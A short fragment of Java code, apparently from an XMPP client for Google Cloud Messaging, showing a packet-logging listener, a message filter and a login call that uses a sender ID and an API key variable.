"Sent: {0}", packet.toXML()); } }, new PacketTypeFilter(Message.class)); connection.login(senderId + "@gcm.googleapis.com", apiKey); }